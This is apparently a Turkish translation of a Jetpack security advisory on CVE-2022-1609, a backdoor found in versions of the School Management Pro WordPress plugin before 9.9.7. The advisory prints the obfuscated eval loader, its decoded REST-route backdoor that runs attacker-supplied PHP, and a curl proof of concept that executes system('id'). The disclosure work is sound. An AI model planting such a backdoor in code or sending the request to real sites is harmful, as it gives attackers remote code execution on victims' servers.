WordPress için The School Management Pro eklentisinde arka kapı bulundu
Yayınlanan: 2022-05-20Weblizar'ın WordPress eklentisi “The School Management Pro”nun 9.9.7'den önceki sürümleri, kimliği doğrulanmamış bir saldırganın eklentinin kurulu olduğu sitelerde rastgele PHP kodu yürütmesine izin veren bir arka kapı içerir. Sitenizde daha eski bir sürüm yüklüyse, hemen 9.9.7 veya sonraki bir sürüme yükseltmenizi öneririz. Bu kritik bir güvenlik sorunudur.
Tüm ayrıntılar için okumaya devam edin.
Detaylar:
- Eklenti adı: The School Management Pro
- Eklenti bilgisi:
school-management-pro
,school-management-pro-9.9.6
,school-management-pro-9.9.5
,the-school-management
, vb. - Satıcı: Weblizar
- Etkilenen sürümler: < 9.9.7
- CVE: CVE-2022-1609
- CVSS Puanı: 10.0 (Kritik)
- CVSS Vektörü: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
- WPVULNDB: https://wpscan.com/vulnerability/e2d546c9-85b6-47a4-b951-781b9ae5d0f2
Jetpack Scan'deki işin bir kısmı, barındırdığımız sitelerde bulunan şüpheli dosyaları kontrol ederek barındırılan WordPress işimizi desteklemektir. Genellikle bu, imzalarımızdan biri tarafından işaretlenen bir dosyadan veya site sahibinin şüpheli bir şey bulması ve bizim görüşümüzü istemesinden kaynaklanır. Şeylerin doğası gereği, bazen bu dosyalar iyi huyludur, bazıları yanlış pozitiftir ve bazıları düzgün bir şekilde sınıflandırmak için daha fazla çalışma gerektiren yeni kötü amaçlı yazılım türleri veya çeşitleridir.
Ancak bazen elde ettiğimiz şey hep birlikte daha ilginçtir.
Birkaç hafta önce böyle bir olay meydana geldi. WordPress.com yetkili destek ekibi, birkaç sitedeki bir eklentide bulunan bazı karmaşık, açıkça kötü niyetli kodlar hakkında bizimle iletişime geçti.
}
$_fc = eval("\x65\x76\x61\x6c(\x67\x7a".chr($_x = 0x70 - 7).chr($_x += 5).chr($_x -= 8) . "\x6c\x61\x74" . "\x65\x28\x62"."\x61\x73\x65\x36"."\x34\x5f\x64\x65\x63\x6f\x64\x65\x28'fY9BasMwEEXX8ikmECIbnAukJJAW77ooSaCLUsTYHjsilu2O5JRQfPdKDs2mbbTQQu/9mS8sS4WF010bg2SyTmGvlW61kylUQ3tFCXxFgqnW1hGrSeNucBRHQkg0S0MmJ/YJ2eiCWksy9QSZ8RIUIQ25Y1daCbDewOuL2mX7g9oTn4lXq6ddtj1sH5+zdHILbJoci5MM7q0CzJk+Br8ZpjL+zJFrC+sbWG5qcqpHRmPj5GFydAUxaGvJ+QHBf5N5031W2h7lu5+0WMAMyPTu8i//I303OsGfjoLO2Pzm13JjuMfw6SQS/m304Bs='" . str_repeat(chr(0x29), 3)."\x3b");
class WLSM_Crypt_Blowfish_DefaultKey
İki tur önemsiz gizlemeden sonra, bu şunu verir:
add_action( 'rest_api_init', function() {
register_rest_route(
'am-member', 'license',
array(
'methods' => WP_REST_Server::CREATABLE,
'callback' => function( $request ) {
$args = $request->get_params();
if ( isset( $args['blowfish'] ) && ! empty( $args['blowfish'] ) && isset( $args['blowf'] ) && ! empty( $args['blowf'] ) ) {
eval( $args['blowf'] );
}
},
)
);
} );
Kodun kendisi o kadar da ilginç değil: eklentinin lisans kontrol koduna enjekte edilen bariz bir arka kapı. Aşağıdaki kavram kanıtında da görülebileceği gibi, herhangi bir saldırganın eklenti yüklüyken sitede rastgele PHP kodu yürütmesine izin verir:
$ curl -s -d 'blowfish=1' -d "blowf=system('id');" 'http://localhost:8888/wp-json/am-member/license'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Warning: Cannot modify header information - headers already sent by (output started at /var/www/html/wp-content/plugins/school-management-pro-9.9.4/admin/inc/manager/WLSM_LC.php(683) : eval()'d code(1) : eval()'d code(9) : eval()'d code:1) in /var/www/html/wp-includes/rest-api/class-wp-rest-server.php on line 1713
Bu, nulled eklentilerde sıklıkla gördüğümüz türden bir şeydir; bu o kadar sık olur ki, daha önceki bir gönderide ele alınan benzer bir vakamız var. İlk varsayımımız, bunun burada da böyle olduğuydu; site sahipleri gölgeli bir kaynaktan bir eklenti yüklemişti.
Ancak, kurulu eklentilerin doğrudan satıcıdan alındığından emin olduk. Bu aynı zamanda, varlığından haberdar edildikten sonra rahatsız edici kodu kaldıran satıcı tarafından da hızlı bir şekilde onaylandı.
Satıcıdan arka kapının ne zaman enjekte edildiği, hangi sürümlerin etkilendiği ve kodun ilk etapta eklentiye nasıl girdiği hakkında daha fazla bilgi almaya çalıştık. Satıcı, kodun yazılımlarına ne zaman veya nasıl geldiğini bilmediğini söylediği için bu çaba başarısız oldu.
Barındırılan sistemlerimizde en az 8.9'dan itibaren arka kapıyı içeren sürümleri gördük, ancak arka kapının ilk ne zaman ortaya çıktığı hakkında net bir bilgiye sahip olmadığımız için 9.9.7'nin etkilenmeden önce herhangi bir sürümün olduğunu varsaymak zorundayız.
Sorunu tespit etmek ve uyarmak, eklentinin genellikle sürüm numarasını içeren sümüklü böcekleri kullanan bir dizi farklı sümüklü böcek altında çalışması nedeniyle daha da karmaşık hale gelir. Barındırılan sistemlerimizde en azından şu varyantları gördük:
-
school-management
-
school-management-v*
-
school-management-pro
-
school-management-pro-*
-
the-school-management
WordPress.org eklenti deposundaki ücretsiz sürüm, lisans kodunu içermez ve bu arka kapıdan da etkilenmez.
Zaman çizelgesi
2022-05-04: Yükseltilmiş WordPress.com destek ekibi, enjekte edilen kodu keşfeder ve bulguyu analiz etmek ve doğrulamak için Jetpack Scan'e ulaşır. Arka kapı olduğunu onayladıktan sonra satıcıyı bilgilendiriyorlar.
2022-05-05: Satıcı, enjekte edilen kodun gerçekten de dağıtımlarında olduğunu onaylıyor ve bize arka kapının kaldırıldığı 9.9.7 sürümünü sağlıyor. Temiz olduğunu onaylıyoruz.
2022-05-06: Satıcı, müşterilerine 9.9.7 sürümünü aktif olarak dağıtır ve onları güncellemeye teşvik eder.
2022-05-10: Satıcı, arka kapının ne zaman eklendiğini bilip bilmedikleriyle ilgili ek sorularımızı yanıtladı, ancak bilmediklerini iddia etti. Arka kapıyı da içeren önceki bir sürüm olan 9.9.4'ü sağladılar.
Çözüm
The School Management Pro'nun 9.9.7'den önceki herhangi bir sürümüne sahip herhangi bir sitenin hemen yükseltme yapmasını öneririz.
Jetpack'te web sitelerinizin bu tür güvenlik açıklarından korunmasını sağlamak için çok çalışıyoruz. Siteniz için kötü amaçlı dosya tarama ve yedekleme içeren bir güvenlik planınızın olmasını öneririz. Jetpack Security, sitenizin ve ziyaretçilerinizin güvende olmasını sağlamak için harika bir WordPress güvenlik seçeneğidir.
Kredi
Bu araştırma, WordPress.com'un Nic Sevic, Thom Stackhouse ve Joshua Goode ile üst düzey destek ekibi ve Harald Eilertsen ve Fioravante Cavallari ile Jetpack Scan arasında bir işbirliğiydi. Ayrıca geri bildirim ve düzeltmeler için Benedict Singer'a teşekkürler.